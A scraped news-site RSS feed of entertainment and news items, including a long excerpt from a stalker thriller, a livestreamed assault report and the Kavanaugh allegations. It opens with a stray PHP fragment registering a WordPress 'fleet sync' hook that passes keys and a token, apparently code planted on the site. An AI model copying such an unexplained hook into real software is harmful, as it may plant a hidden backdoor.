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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Girlfriend – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 05 Feb 2020 03:10:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Girlfriend – Brief News https://briefnews.eu 32 32 Riverdale season 4: Will Archie leave girlfriend Veronica for Betty after Jughead’s ‘death https://briefnews.eu/riverdale-season-4-will-archie-leave-girlfriend-veronica-for-betty-after-jugheads-death/ https://briefnews.eu/riverdale-season-4-will-archie-leave-girlfriend-veronica-for-betty-after-jugheads-death/#respond Wed, 05 Feb 2020 03:10:30 +0000 http://briefnews.eu/riverdale-season-4-will-archie-leave-girlfriend-veronica-for-betty-after-jugheads-death/

Riverdale has returned to The CW and Netflix and already there has been plenty of weird and wonderful drama for fans to get their teeth stuck into. From Veronica Lodge (played by Camila Mendes) teaming up with Cheryl Blossom (Madelaine Petsch) to create their maple syrup-based rum, to Kevin Keller (Casey Cott) selling tickling videos online for hundreds of dollars, there is never a quiet moment in the suburban town. There are still many mysteries which have yet to be solved but could the death of Riverdale’s beloved writer bring another two characters closer together?

When Riverdale first started back in 2017, Betty Cooper (Lili Reinhart) had a massive crush on her childhood friend and neighbour Archie Andrews (KJ Apa).

Her feelings were sadly unrequited by the redhead but that was soon swept under the carpet with the introduction of Veronica and Jughead Jones (Cole Sprouse).

READ MORE: Riverdale season 4: Fans demand a Mean Girls musical after huge hint

Jughead was an old friend of Archie’s but spent less time together in recent years until they eventually reconnected once more.

Veronica was the new girl in Riverdale in the first season, having moved there from New York.

Quickly enough, Archie and Veronica got together and so did Betty and Jughead and this is how it has been for the majority of the show.

However, Riverdale fans will remember one particular moment which could have potentially ruined the two couples for good.

After Betty broke up with Jughead and following the ongoing problems caused by her father Hal Cooper (Lochlyn Munro) who is better known to many as the Black Hood, she confides in Archie.

They go on a mission together to find out the serial killer’s identity but when the pair are waiting in a car and Betty gets upset, they end up sharing a passionate kiss.

They do pull away from each other and then agree to carry on with what they were meant to be doing, hunting down the Black Hood.

Thankfully for Archie, when he tells Veronica what happened, she quickly forgives him as they weren’t together at the time and labelled it as a “my life is at risk” kiss.

The kiss has never been mentioned again but going by the latest episode, there still could be a chance for “Barchie” yet.

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Will Archie and Betty get together after Jughead ‘dies’ in Riverdale?

Since the season three finale, Riverdale has been showing brief flash forwards which indicate Jughead has been killed but under what circumstances is still unclear.

But in the latest flash forward which was shown at the end of Quiz Show, a tearful Betty is sitting alone in Pop’s Chock’lit Shoppe when Archie sits with her.

“I don’t think I can do this anymore Arch”, she said.

“Keep waiting for Jughead to come back and he doesn’t and he won’t, he won’t ever come back.

“And I don’t know how I’m supposed to keep going.”

He replies: “Day by day, we’ll get through this together.”

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Riley Keough is ready to rock’n’roll.

The Girlfriend Experience star has signed on to play the titular female singer/songwriter in Amazon’s upcoming series adaptation of Daisy Jones & The Six, our sister site Deadline reports.

The show will be based on Taylor Jenkins Reid’s popular 2019 novel about the rise and fall of a fictional 1970s rock band. In the book, Keough’s Daisy is a naturally gifted musician who grew up too fast in the Los Angeles music scene and deals with the repercussions of that as her fame increases. Daisy’s star skyrockets when she teams up with The Six, fronted by Billy Dunne. Daisy and Billy’s working relationship, with all of its pinnacles and pitfalls, makes up most of the novel, which is presented as an oral history that unfolds over several years.

Niki Caro (Anne With an E) will direct several episodes and will executive-produce, alongside Reese Witherspoon, showrunner Will Graham (Mozart in the Jungle) and others.

In addition to leading The Girlfriend Experience‘s first season, Keough’s TV credits include Riverdale and Paterno. She also appeared in the films Mad Max: Fury Road and Magic Mike, among others.

Daisy Jones diehards: What do you think of Keough’s casting? Hit the comments and let us know!

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]]> https://briefnews.eu/daisy-jones-the-six-casts-girlfriend-experiences-riley-keough-as-daisy/feed/ 0 Britain’s Got Talent 2019: Simon Cowell tears up as act PROPOSES to girlfriend on stage https://briefnews.eu/britains-got-talent-2019-simon-cowell-tears-up-as-act-proposes-to-girlfriend-on-stage/ https://briefnews.eu/britains-got-talent-2019-simon-cowell-tears-up-as-act-proposes-to-girlfriend-on-stage/#respond Sat, 18 May 2019 11:38:52 +0000 http://briefnews.eu/britains-got-talent-2019-simon-cowell-tears-up-as-act-proposes-to-girlfriend-on-stage/

There have been some touching performances already on the ITV contest as viewers saw David Walliams moved by the Flakefleet Primary School Choir and the judges well up over Dave Wardell and his dog Finn.

But Britain’s Got Talent fans will see a very special question asked in this evening’s episode when one act invites his girlfriend on stage to propose to her.

In the audition, singer Jacob Jones took to the stage to sing You Are So Beautiful, dedicating it to his girlfriend Faye.

He revealed how she had applied on his behalf, saying: “She sent it in, I had no idea about it.”

After he gave his performance, Jacob announced to the judges he wanted to do something else.

He said: “I was just wondering if I could ask my girlfriend to come up on stage.”

His partner made her way upon the stage where he declared: “I love you literally more than anything and I’m so glad that you believe in me and you did this to me and I wanted to ask you something.

“Faye Compton, will you marry me?” Jacob continued as he got down on one knee.

She gladly accepted his proposal as the delighted audience clapped and cheered the couple.

The judges were also overcome with emotion as Amanda Holden and Simon welled up at the action.

An insider said Simon was “chuffed” for the happy couple.

A source told The Mirror: “It’s one of the most emotional moments on the show we’ve seen for a long time.

“Simon was so chuffed for the pair of them. He was so emotional.”

Despite the joyous engagement, viewers will have to wait and see if Jacob gets the judges’ vote to go through to the next stage of the competition.

Last week’s instalment of Britain’s Got Talent saw viewers moved by an emotional performance.

Colin Thackery stepped onto the stage where he discussed his late wife and spoke about how he was delivering a song in her memory.

The former soldier sang Wind Beneath My Wings for his wife and it was evident all the judges and audience were taken with the performance.

David emotionally announced: “Colin… there is not a dry eye in the house.

“It was just the most perfect tribute. It affected us all deeply.”

Britain’s Got Talent continues tonight at 8pm on ITV.

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]]> https://briefnews.eu/britains-got-talent-2019-simon-cowell-tears-up-as-act-proposes-to-girlfriend-on-stage/feed/ 0 Book Excerpt: A Woman Will Stop at Nothing to Be ‘The Perfect Girlfriend’ https://briefnews.eu/book-excerpt-a-woman-will-stop-at-nothing-to-be-the-perfect-girlfriend/ https://briefnews.eu/book-excerpt-a-woman-will-stop-at-nothing-to-be-the-perfect-girlfriend/#respond Sat, 30 Mar 2019 16:58:49 +0000 http://briefnews.eu/book-excerpt-a-woman-will-stop-at-nothing-to-be-the-perfect-girlfriend/

Winter is finally (FINALLY) beginning to morph into spring, and it’s never too early to start piling up your beach reads. And we’ve got a recommendation: Karen Hamilton’s The Perfect Girlfriend (out this week from Graydon House), the story of a young woman willing to go to any lengths – and I do mean any – to make her ex-boyfriend rethink their breakup. A portrait of sociopathy that recalls You, The Woman in the Window, and Gone Girl (with all the page-turning addictiveness that entails), we’re happy to present this exclusive excerpt from early in the book, as our anti-heroine finishes up a day of flight attendant training and heads “home.”

FROM “THE PERFECT GIRLFRIEND” BY KAREN HAMILTON

I apply fuchsia lipstick to complete my transformation. All the best ideas are so brilliantly obvious, once you’ve thought of them. My reflection in the water-splashed mirror is of someone with thick make-up and dark-brown hair, but my own eyes. The polyester necktie scratches my skin and, al­though it feels alien to wear the uniform, the starchy trou­ser suit with eighties-style shoulder pads allows me to morph into an anonymous airline employee. My expression is neutral and professional; calm and controlled. A new year, a new me.

Amy, her reflection beside mine, wrinkles her nose. “The stench of these toilets reminds me of school.”

I wrinkle mine back. “The cheap loo roll and miserable sound of dripping water doesn’t help.”

We both pause for a second or two, listening.

She glances at her watch. “We’d better go, we don’t want to make a bad impression.”

I follow her out. Her auburn hair is woven into a bun so neat, it doesn’t look real. Her perfume is floral and under­stated.

Mine is too strong, the sickly smell has been irritating my nostrils all morning. As we merge with the other eighteen trainees filing back into the classroom, Brian, one of our in­structors, raises his hand, palm outwards.

“Ahem.”

Silence falls. I wonder if anyone else feels like me, suffo­cating the desire to scream because—seriously—how hard can the work be? I intend to show up, take off, chuck out a tray of food, whip it back, job done. I expect passengers to be capable of entertaining themselves with the in-flight en­tertainment system once fed and watered. After landing, I imagine I’ll have plenty of time to chill by a hotel pool or explore local markets.

I realize that Brian is still speaking. I force myself to listen.

“There’s no need to sit down as we’ll be heading into the mock-up area for an examination of the training equipment.”

We traipse out and gather in the corridor, before being herded along by Brian’s partner in crime, Dawn. We follow her downstairs and through the main reception area. Dawn jabs a code into a keypad and we enter a small room. The walls are lined with pegs, hanging off which are mounds of dirty-looking overalls.

“Listen, please, everyone. We’d like you to wear an overall over your uniform. Place your shoes on the racks at the bot­tom and put on the white feet-protectors.”

I freeze. Everyone but me starts lifting overalls off the pegs and checking them for size. God, I can’t do this. They are filthy. They look as though they haven’t been washed since…ever.

“Juliette? Is there a problem?” Brian’s expression is of ex­aggerated concern.

“No. No problem.” I smile.

He turns away. “Now, ladies, for those wearing skirts, make sure your legs are properly covered. Velcro on some of the equipment wreaks havoc with your tights.”

Crap. I’m going to have to do it. I slide my arms in before doing up the buttons. I don’t know why I bothered to get my suit dry-cleaned. I look ridiculous in the baggy jumpsuit, complete with elasticated material around my ankles. All that’s missing is a face mask and I’d look like I’m about to investigate a crime scene. Even Amy looks less immaculate than usual. “This is going to be fun,” I whisper under my breath to her.

She beams. “I can’t wait to try out the practical drills. I’ve been dreaming of this since I was small.”

“Really?”

Why would anyone dream of becoming a waitress, albeit a flying one, from childhood? When I was young I had plans.

Big ones. Proper ones.

“Any time today, Juliette.” Brian is holding open a door.

He is really getting on my nerves and yet I still have an­other five weeks of his company to endure. I follow him into a giant warehouse containing sections of various aircraft; some at ground level, some on raised platforms with stair access. We catch up with the others walking alongside the building. The front door of a plane bursts open and several overall-clad people fly out and down the slide. A male, uniformed crew member operates the door, barking instructions above a shrill alarm. “Jump! Jump!”

We whisk past until Dawn and Brian stop beside a blown-up, silvery-grey mass, not unlike a kids’ bouncy castle. “Now, before we board the slide-raft, I’m going to talk you through the survival equipment. A landing on water will, from now on, be referred to as a “ditching”…”

Dawn’s voice fades as I zone out. I know the statistics. They can call it what they like, but the chances of surviving a plane crash on water are not good.

At five on the dot, we are released through the secure gated area and back into the real world; the airport perime­ter road. The roar of low-flying aircraft and rush-hour traf­fic is briefly disorientating. I inhale cold, crisp air. My breath mists as I exhale. The group divides into those going to the car park and the rest of us, heading for Hatton Cross. I only half-listen to their excited chatter. The group splits again; those catching buses head off first and the rest of us, includ­ing Amy, enter the tube station. I walk alongside her as we make for the platform.

“Not on the westbound side today?” she says. “I thought the train to Reading leaves from Heathrow?”

I hesitate. “I’m going to visit a friend. In Richmond.”

“You’ve got more energy than me. I’m so tired, I don’t think I could face going out tonight. And I want to go through my notes.”

“It’s Friday night,” I say.

“Yeah, but I want to recap whilst it’s all fresh,” says Amy.

“Fair enough; I’ll know who to sit next to in the exams.” I smile.

Amy laughs.

I pretend to join in, then stare out the window; the light inside reflects us into the outside darkness.

Amy gets off at Boston Manor. I wave and watch as she walks towards the exit steps, tall and proud in her uniform.

After changing at Hammersmith, I am the only uniformed person among the crowd of passengers. Alighting at Rich­mond, I cross the road, pulling my coat around me tightly. My bag cuts into my right shoulder. I aim for the familiar­ity of the alleyway, my heels clicking and echoing with each decisive step. I avoid a broken bottle and head for the out­skirts of the Green. Stopping outside a set-back period man­sion block, I lean against the railings and pull off my heels,exchanging them for ballet pumps. I pull up my coat hood and let it drop over my forehead before treading along the path. My key slides into the communal door. I enter, check­ing for sounds. Silence.

Taking the steps to the third and highest floor, I let myself into apartment 3B. Once inside, I stand still and inhale the welcoming scent of home.

I rely on the glow of the fish tank instead of switching on any lights. Sinking down into the sofa, I remove clothes from my bag. I undress, folding my uniform carefully, then change into black jeans and a jumper. Using my phone as a torch, I pad, barefoot, into the kitchen and open the fridge. It is almost empty, as usual, apart from beer, some chillies and a readymade macaroni cheese for one. I smile.

Heading back to the living room, I risk switching on a side lamp. From my bag, I remove a photo and place it on the mantelpiece. In a perfect world, it would be framed, but I like to keep it close so that I can look at it whenever I like. In the picture, I am grinning happily, alongside Nate, the man I am to marry. I fold my uniform over my left arm and make my way to the bedroom. Next, I place the trousers, blouse and jacket on the bed and bend down, burying my face into his pillow. I inhale deeply before lifting my head and shin­ing light around the room. Nothing has changed since I was last here. Good.

As I roll back the mirrored sliding door to the wardrobe, a reflective flash of my beam catches my eyes. I blink, whilst my sight readjusts. Nate’s spare pilot’s uniform, his jackets, shirts and trousers, all hang neatly, but not as neatly as I can hang them. I carefully space them out, each roughly three centimeters apart. I leave a gap as I hang my uniform next to his. The way it should be. I stand back to admire my work. Light catches the gold emblem on his hat. I slide the door closed.

My last stop is always the bathroom. I check the medicine cabinet. He’s had a cold recently; the menthol inhaler and cough medicine are new.

Returning to the living room, I help myself to an apple from the fruit bowl. I press my forehead against the living room window, crunching small bites whilst looking down below. I can’t see anyone. Rush hour is over and, presumably, most people are at home, cosy and settled. Unlike me. I am on the outskirts of my life.

Waiting. That’s what I do, a lot of waiting. And thinking…

I know so many things about Nate: that he loves skiing and always smells fresh; the scent of citrus soap clings to his skin. I know that he wants to be promoted to captain before he reaches his mid-thirties.

I know his background inside out: the childhood holidays in Marbella, Nice, Verbier and Whistler; tennis, horse-riding and cricket lessons; the lack of approval from his father when Nate chose to pursue his dream of becoming a pilot instead of following in his footsteps as an investment banker.

His younger sister admires him, but she doesn’t like me.

From social media photos, I can see that he could do with a haircut; his blond curls almost touch his collar.

But what I know, most of all, is that deep down he still has feelings for me. Nate just suffered a temporary fear of com­mitment. Although it was crushing at the time, I now under­stand things a little better. So, when the perfect time comes to disclose that I now work for the airline too—when he ap­preciates the lengths I’ve gone to, just to save us—everything will fall into place.

Until then, I have to be patient. It’s difficult, though. Whenever I see a fresh image of him, I find it hard to eat for days afterwards.

My phone alarm reminds me that it’s time to leave. I’ve had to train myself to do that, because the thing I’ve realized is that you get away with something once. Then twice. Then, before you know it, you are taking bigger risks. Time passes in a daze and gets cut too fine. I check to see whether Nate’s flight from Chicago has landed. It has—five minutes early. I rush to my bag, and fumble. I wrap my apple core inside a tissue and pull out a packet of mini chocolate muffins. Nate’s favorite. It’s a habit I can’t break—adding his preferences to my own food shopping. I open the freezer door, causing white light to illuminate the wall. I shove the packet towards the back, behind the meat that I know he will never defrost and the peas he never bothers with. I’d love to leave them some­where more obvious, like by the coffee machine, but I can’t, so this will have to do. When he finds them, hopefully he will take a moment to think of me. My shopping lists were always full of food he loved. I never forgot anything.

I retrace my steps to the bedroom and yank my uniform off the hangers which swing, then clatter, as they hit the back of the wardrobe. Returning to the living room, I take down the photo before reluctantly replacing it in my bag. I put on my ballet pumps and switch off the side lamp. The multic­olored fish stare at me as they complete their lengths. One, in particular, watches, mouth gaping. It is ugly. Nate named it Rainbow. I have always hated it.

I swallow hard. I don’t want to go. This place is like quick­sand, it sucks me in.

I pick up my bag and leave, closing the door quietly behind me, before returning to the station to catch the train to my shoebox, postage stamp, doll’s house of a flat in Reading. I can’t call it home because being there is like hanging out in the departure lounge of life. Waiting, always waiting, until the gate to my proper life reopens.

From “The Perfect Girlfriend” by Karen Hamilton, out now from Graydon House. All rights reserved.

Book Excerpt    Karen Hamilton

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]]> https://briefnews.eu/book-excerpt-a-woman-will-stop-at-nothing-to-be-the-perfect-girlfriend/feed/ 0 Bohemian Rhapsody: HUGE payday for Queen AND Freddie's girlfriend – Guess how much? https://briefnews.eu/bohemian-rhapsody-huge-payday-for-queen-and-freddies-girlfriend-guess-how-much/ https://briefnews.eu/bohemian-rhapsody-huge-payday-for-queen-and-freddies-girlfriend-guess-how-much/#respond Sat, 02 Mar 2019 01:47:06 +0000 http://briefnews.eu/bohemian-rhapsody-huge-payday-for-queen-and-freddies-girlfriend-guess-how-much/

The staggering figures are even more shocking since they don’t take into account the revenue from home entertainment packages. The recent release on digital download and streaming smashed the opening week record set by Avengers Endgame, so the figures reported here could rocket again. What could surprise many more than anything is the remarkable amount that Mary Austin will make, even though she has not been involved in the film.

How Much Will Queen and Mary Austin Make?

Bohemian Rhapsody was made for a relatively modest £40million. With worldwide box office now over £650million that represents a staggering profit.

The studio is expected to bank half of the profits after marketing and distribution costs which leaves an incredible windfall for the three surviving members of Queen, as well as Freddie’s main beneficiary, Mary.

Expanded from the first estimates in January, the three surviving members of Queen – Brain May, Roger Taylor and John Deacon – stand to make around £70million each. Deacon also had nothing to do with the film but a major report revealed all Queen-related profits have been split four ways ever since Freddie’s death.

BOHEMIAN RHAPSODY: WAS ADAM LAMBERT DROPPED FROM FILM AS FREDDIE?

Freddie’s share used to be split 50/50 between Mary Austin and his family. Following the deaths of both his parents, Mary is said to now receive their share, leaving the remaining 25% to the star’s sister, Kashmira Cook.

This means Mary Austin could make as much as £45million from the proceed of Bohemian Rhapsody, with the Queen bandmates each pocketing up to £70million.

How Much Are The Queen Members Worth?

This latest windfall will make a significant difference to the band members’ wealth. The 2018 Sunday Times Rich List valued May’s fortune at £135million, Taylor’s at £130million and Deacon’s at £105million.

How Much Did Freddie Leave Mary Austin in his will?

Despite living his last years with a man, Freddie always regarded Mary as his common-law wife. He famously wrote Love Of My Life For Her. She was there throughout his final days and only she, not his family, knows where his ashes are scattered.

Freddie left Mary his West London mansion, where she still resides, as well as much of his £9million fortune.

BOHEMIAN RHAPSODY IS OUT NOW ON DIGITAL AND DOWNLOAD, AND ON DVD AND BLU-RAY ON MARCH 3

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]]> https://briefnews.eu/bohemian-rhapsody-huge-payday-for-queen-and-freddies-girlfriend-guess-how-much/feed/ 0 Montreal boxer Adonis Stevenson awake from coma, girlfriend says https://briefnews.eu/montreal-boxer-adonis-stevenson-awake-from-coma-girlfriend-says/ https://briefnews.eu/montreal-boxer-adonis-stevenson-awake-from-coma-girlfriend-says/#respond Sun, 23 Dec 2018 07:54:06 +0000 http://briefnews.eu/montreal-boxer-adonis-stevenson-awake-from-coma-girlfriend-says/ BOXING STEVENSON GVOZDYK 20181201

“Despite recent reports being leaked to media, I wanted to clarify that Adonis is awake,” his partner Simone God wrote in a news release Saturday evening. The Montreal boxer has been in hospital since a boxing match Dec. 1 that left him with a brain injury.

]]> https://briefnews.eu/montreal-boxer-adonis-stevenson-awake-from-coma-girlfriend-says/feed/ 0 Gamer arrested after appearing to assault his girlfriend in Fortnite livestream video https://briefnews.eu/gamer-arrested-after-appearing-to-assault-his-girlfriend-in-fortnite-livestream-video/ https://briefnews.eu/gamer-arrested-after-appearing-to-assault-his-girlfriend-in-fortnite-livestream-video/#respond Tue, 11 Dec 2018 20:46:55 +0000 http://briefnews.eu/gamer-arrested-after-appearing-to-assault-his-girlfriend-in-fortnite-livestream-video/

A man has been arrested and accused of hitting his pregnant girlfriend who had interrupted his playing of Fortnite. Their altercation was caught on a livestream and fellow gamers called the police after seeing it.

Luke Munday from Sydney, Australia was using Twitch to stream himself playing Fortnite last weekend when the apparent assault took place.

“Can you not? I said I’ll be out soon,” Munday says to a woman who isn’t visible in the video. He gets up and swings his hand in the direction he was looking.

“No computer, I’m sick of this,” the woman says, a second before the man says, “stop” and then a slap is heard, followed by a woman crying.

The man sits down again and the woman calls him a “woman basher.”   

“I hope all of you people know that I’m pregnant and he just bashed me,” she says later in the video. A child can be heard crying off-camera. Police later confirmed a three-year-old girl and a 20 month old girl were in the home at the time. 

“F**k off. I will be out soon, you dog. You don’t pay the f***ing bills,” the man said.

While the alleged assaults take place off-camera, it appears that at least three apparent acts of violence take place during the livestream, which was obtained by the Sydney Morning Herald and has been widely shared on social media.

“You’re all judging the video, you don’t see what happens, you haven’t read the police report, you don’t actually know what happened off the camera,” Munday told 7 News, the SMP reports. “Everyone thinks I kicked the shit out of her which clearly isn’t the case.”

New South Wales Police arrested Munday at his home after other gamers revealed his identity. He was charged with common assault and served with an apprehended violence order. He was given bail and has to appear in Camden Local Court later this week.

“While the woman was not seriously injured she was distressed and shaken by the incident.” New South Wales Police said in a statement.

Munday has been suspended from his job as an engineer with Telstra, pending an investigation. The incident “goes against what we stand for as an organisation and the work we have done to assist women impacted by domestic violence,” Telstra manager Steve Carey said.

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]]> https://briefnews.eu/gamer-arrested-after-appearing-to-assault-his-girlfriend-in-fortnite-livestream-video/feed/ 0 Coronation Street spoilers: Beloved character gets unexpected girlfriend in romance twist? https://briefnews.eu/coronation-street-spoilers-beloved-character-gets-unexpected-girlfriend-in-romance-twist/ https://briefnews.eu/coronation-street-spoilers-beloved-character-gets-unexpected-girlfriend-in-romance-twist/#respond Tue, 16 Oct 2018 02:10:01 +0000 http://briefnews.eu/coronation-street-spoilers-beloved-character-gets-unexpected-girlfriend-in-romance-twist/

Unlucky in love Chesney Brown (played by Sam Aston) is about to be get a new girlfriend in the shape of Emma Brooker (Alexandra Mardell) after Gemma Winter (Dolly-Rose Campbell) rejects his advances.

The take-away manager dates Emma when Gemma fails to notice his attempt to try and wine and dine her with a romantic meal at the Bistro.

In next week’s instalment of the hit ITV soap Coronation Street, Chesney invites Gemma out for dinner, but is shocked when she arrives with old friend Spike (Joel Morris) instead.

As Chesney watches Gemma passionately kiss Spike, Emma kindly offers to step in to make it a double date and save him any embarrassment.

But things quickly turn awkward for Chesney when they all sit down for dinner, as it is becomes obvious Emma has genuine feelings for him.

However, Chesney and Gemma secretly fancy each other, although they have not yet admitted they are interested in one another.

Unaware of the chemistry between Chesney and Gemma, Emma arranges another date with Chesney, but insists it is only practice for when he meets the right girl.

At dinner, Emma makes notes about Chesney’s dating skills and even offers him some friendly advice, but is this a facade to put the moves on him?

One thing is for sure, Chesney is not looking to start a relationship with Emma, as actor Sam, who plays the singleton, described their situation as “awkward”.

“Spike is a six foot four, tattooed to the nines, broad man who is the complete opposite of Chesney, and he feels horrific,” Sam told Digital Spy.

“It couldn’t go any worse for Chesney when they have the mix-up over the date, but he doesn’t want to come across as a loner with flowers, waiting for Gemma.

“It’s one of the most embarrassing situations that he could be in. It’s soul destroying for him.”

Explaining how the storyline unfolds, Sam continued: “Chesney sees Bethany in the Bistro and he wants her to stand in as his date, but Emma suggests herself so he just goes with it.

“It’s so awkward and Emma is really hamming it up, so Chesney is dying inside. Chesney is jealous of Spike, but he also takes an instant dislike to Spike because he is rude. The whole thing is a nightmare for Chesney!”

Discussing Chesney and Gemma, he added: “I do think Chesney and Gemma would be good together. They say opposites attract and they are very opposite.

“They are like chalk and cheese, but they work great as friends as well, so we will see.”

While Chesney struggles to find love his former girlfriend Sinead Tinker (Kate McGlynn) is heartbroken after discovering she has cervical cancer.

Pregnant Sinead will have to decide whether to terminate the pregnancy to save her own life and undergo chemotherapy.

It is a difficult decision to make for the mum-to-be, one made harder as he decides to keep her health problems a secret from partner Daniel Osbourne (Rob Mallard).

Coronation Street continues Wednesday on ITV at 7.30pm and 8.30pm.

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  • Elizabeth Rasor, who dated Brett Kavanaugh’s high school friend Mark Judge in college, says she is willing to talk with the FBI about her claim that Judge told her about having group sex with a drunk woman in high school. 
  • Julie Swetnick, a third woman who came forward with allegations of sexual misconduct involving Kavanaugh, alleges that Kavanaugh and Judge were present during “gang rapes” of teenage girls at high school parties in the early 1980s. 
  • Judge’s alleged story and and Swetnick’s accusations are putting renewed pressure on Senate Republicans to call for an FBI investigation into the claims and to subpoena Judge to testify before the committee. 

Elizabeth Rasor, a former girlfriend of Brett Kavanaugh’s high school friend Mark Judge, said on Wednesday that she’s willing to speak with the FBI about her claim that Judge told her about having group sex with a drunk woman in high school.

Judge is alleged by Christine Blasey Ford to have been in the room when Kavanaugh sexually assaulted her at a house party in the early 1980s. 

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